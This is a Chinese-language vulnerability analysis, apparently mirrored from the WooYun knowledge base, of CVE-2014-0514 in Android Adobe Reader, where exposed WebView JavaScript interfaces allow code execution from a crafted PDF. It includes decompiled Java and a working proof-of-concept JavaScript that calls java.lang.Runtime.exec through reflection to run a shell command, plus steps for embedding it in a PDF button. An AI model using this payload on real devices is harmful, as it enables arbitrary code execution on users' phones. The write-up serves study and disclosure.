Android Adobe Reader 任意程式碼執行分析(附POC)

wyzsk發表於2020-08-19
作者: livers · 2014/04/18 14:05

0x00 描述


前幾天老外在fd還有exploit-db上,公佈了Adobe Reader任意程式碼執行的漏洞。

漏洞編號: CVE: 2014-0514

AdobeReader安裝量比較大,又和瀏覽器容器不同,分析一下。

Android Adobe Reader 呼叫webview的不安全的Javascript interfaces。

導致可以執行任意js程式碼。具體檢視WebView中介面隱患與手機掛馬利用

影響版本:

理論上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。

我檢視了之前的幾個版本例如Android Adobe Reader 11.1.2 如下圖,問題也應該存在。

enter image description here

0x01利用


從反編譯出來的java程式碼看

#!java
public class ARJavaScript
{
[...]

   public ARJavaScript(ARViewerActivity paramARViewerActivity)
   {
[...]
      this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
      this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
      this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
      this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
      this.mWebView.setWebViewClient(new ARJavaScript.1(this));
      this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
   }

_adobereader,_app,_doc,_escriptString,_event,_field這幾個變數都會存在任意程式碼執行的問題.

利用程式碼和之前一樣。

#!java
function execute(bridge, cmd) {
   return bridge.getClass().forName('java.lang.Runtime')
      .getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}

if(window._app) {
   try {
      var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
      execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
      window._app.alert(path + ' created', 3);
   } catch(e) {
      window._app.alert(e, 0);
   }
}

這裡不同是構造 惡意的PDF。

首先需要一個PDF編輯器,比如Adobe Acrobat(flash達人pz推薦).

然後新增表單按鈕或者書籤等,呼叫事件新增

enter image description here

我這裡看了下button最好演示,和老外的那個poc一樣基本上.

匯入到android虛擬機器裡,開啟,成功復現。

enter image description here

0x02 擴充套件


一些網盤或瀏覽器,看看能否呼叫adobe reader來預覽pdf的應用可能會存在這個漏洞,大部分應用都是直接下載pdf到本地。可以再測試一些能預覽pdf的郵箱之類的應用。

0x03 修復


新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的使用者則在adobereader禁用了表單的js執行。 不知道那些防毒軟體能不能檢測到這些惡意poc呢 :)

附上poc.pdf

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章